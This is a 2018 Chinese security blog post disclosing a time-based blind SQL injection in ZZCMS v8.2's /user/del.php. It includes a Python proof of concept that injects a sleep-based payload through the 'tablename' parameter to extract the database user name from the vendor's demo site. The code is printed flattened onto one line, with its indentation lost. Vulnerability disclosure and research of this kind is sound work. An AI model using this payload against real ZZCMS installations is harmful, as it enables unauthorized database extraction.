登陆 注册

CMS漏洞之ZZCMS v8.2最新SQL注入漏洞

Lzers 2018-04-07 ZZCMSSQL注入
黑白网(heibai.org)成立于2014年,多年来以其专业的视角,优质的服务为广大安全技术爱好者提供了目前国内最全的网络安全技术学习资料,普及中国网络安全知识,宣扬正确的黑客极客文化,全方面提高国内安全技术水平。

CMS漏洞之ZZCMS v8.2最新SQL注入漏洞

时间概述

近期在一直都在审核CMS漏洞,连续数日,一无所获,甚是无聊,略有些许焦躁。

暮然回首,桌角横幅,挚友所赠,书:《戒急用忍》,回想四爷当年之景,于今日此情此景,不甚寂寥。稍有感慨,正值审至ZZCMS V8.2,现SQL注入漏洞。大喜。

1.白盒审计

运用白盒审计工具,发现隐于暗处之SQL注入漏洞:/user/del.php 

代码位置: /user/del.php 12行,获取参数。

CMS漏洞之ZZCMS v8.2最新SQL注入漏洞  第1张 ZZCMS SQL注入

在switch() 分支中不存在SQL注入就不展示代码了。在后面代码中 135行 发现存在SQL注入问题。


CMS漏洞之ZZCMS v8.2最新SQL注入漏洞  第2张 ZZCMS SQL注入


3.POC

用python完成POC进行批量漏洞利用,猜测用户名的第一个字符。

#!/usr/bin/env python     # -*- coding: utf-8 -*-     import requests     import time           payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'    #匹配用的字符串     url = "http://demo.zzcms.net/user/del.php"     user = ''     for i in range(1, 2):             for payload in payloads:    #遍历取出字符                     startTime = time.time()                     post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")                     response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )     if time.time() - startTime > 5:                             user = payload     print 'user is:', user     break     print '\n[Done] current user is %s' % user


CMS漏洞之ZZCMS v8.2最新SQL注入漏洞 渗透测试 第5张


至此,终结。缺少一些华丽的语坠,多了一些大家都想知道的技术干货,我觉着这样挺好~~


生成海报
Lzers

Lzers

安全路漫漫,莫愁前方无知己
866文章数 31评论数
请关注微信公众号
微信二维码
不容错过
Powered By HeiBaiTeam.